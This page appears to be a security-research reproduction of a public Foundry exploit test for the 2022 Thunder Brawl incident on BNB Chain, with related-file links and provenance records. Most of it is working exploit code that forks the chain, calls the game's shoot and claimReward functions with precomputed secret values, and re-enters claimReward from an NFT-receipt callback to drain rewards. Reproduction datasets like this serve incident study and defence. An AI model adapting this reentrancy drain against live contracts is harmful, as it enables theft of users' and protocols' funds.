Public reproduction file
src/test/2022-09/THB_exp.sol
Public reproduction file for dataset entry Thunder Brawl.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7interface IERC721Receiver {8 function onERC721Received(9 address operator,10 address from,11 uint256 tokenId,12 bytes calldata data13 ) external returns (bytes4);14}16interface HouseWallet {17 function winners(uint256 id, address player) external view returns (uint256);18 function claimReward(19 uint256 _ID,20 address payable _player,21 uint256 _amount,22 bool _rewardStatus,23 uint256 _x,24 string memory name,25 address _add26 ) external;27 function shoot(28 uint256 random,29 uint256 gameId,30 bool feestate,31 uint256 _x,32 string memory name,33 address _add,34 bool nftcheck,35 bool dystopianCheck36 ) external payable;37}39contract ContractTest is Test {40 HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53);41 uint256 randomNumber = 12_345_678_000_000_000_000_000_000;43 uint256 gameId = 1;44 bool feestate = false;45 // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate46 uint256 _x = 2_845_798_969_920_214_568_462_001_258_446;47 string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS";48 address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1;50 bool nftcheck = true;51 bool dystopianCheck = true;53 address payable add = payable(address(this));54 bool _rewardStatus = true;55 // sha256(abi.encode(_x, name, _add)) == hashValue maybe off-chain calculate56 uint256 _x1 = 969_820_990_102_090_205_468_486;57 string name1 = "WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME";59 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);60 IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract62 function setUp() public {63 cheats.createSelectFork("bsc", 21_785_004);64 }66 function testExploit() public {67 emit log_named_uint("Attacker THBR balance before exploit", THBR.balanceOf(address(this)));69 houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck);70 uint256 _amount = houseWallet.winners(gameId, add);71 houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);73 emit log_named_uint("Attacker THBR balance after exploit", THBR.balanceOf(address(this)));74 }76 receive() external payable {}78 function onERC721Received(79 address _operator,80 address _from,81 uint256 _tokenId,82 bytes calldata _data83 ) external payable returns (bytes4) {84 uint256 _amount = houseWallet.winners(gameId, add);85 if (address(houseWallet).balance >= _amount * 2) {86 houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);87 }88 return this.onERC721Received.selector;89 }90}Analysis
Dataset entry
Public Foundry test for “Thunder Brawl” (2022-10-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-09/BadGuysbyRPF_exp.solSame month in the dataset · 63 lines
- src/test/2022-09/BXH_exp.solSame month in the dataset · 313 lines
- src/test/2022-09/DPC_exp.solSame month in the dataset · 102 lines
- src/test/2022-09/MEVbadc0de_exp.solSame month in the dataset · 186 lines
- src/test/2022-09/BNB48MEVBot_exp.solSame month in the dataset · 68 lines
- src/test/2022-09/NewFreeDAO_exp.solSame month in the dataset · 573 lines
- src/test/2022-09/NXUSD_exp.solSame month in the dataset · 155 lines
- src/test/2022-09/RADT_exp.solSame month in the dataset · 67 lines
- src/test/2022-09/ROI_exp.solSame month in the dataset · 297 lines
- src/test/2022-09/Shadowfi_exp.solSame month in the dataset · 61 lines
- src/test/2022-09/Yyds_exp.solSame month in the dataset · 61 lines
- src/test/2022-09/ZoomproFinance_exp.solSame month in the dataset · 100 lines
File record
- Name
- Thunder Brawl
- Path
- src/test/2022-09/THB_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a58bc0711c8476b3df47028585417535b0ddaf72
- Language
- Solidity
- Size
- 91 lines
- Date
- 2022-10-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-09/THB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a58bc0711c8476b3df47028585417535b0ddaf72, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.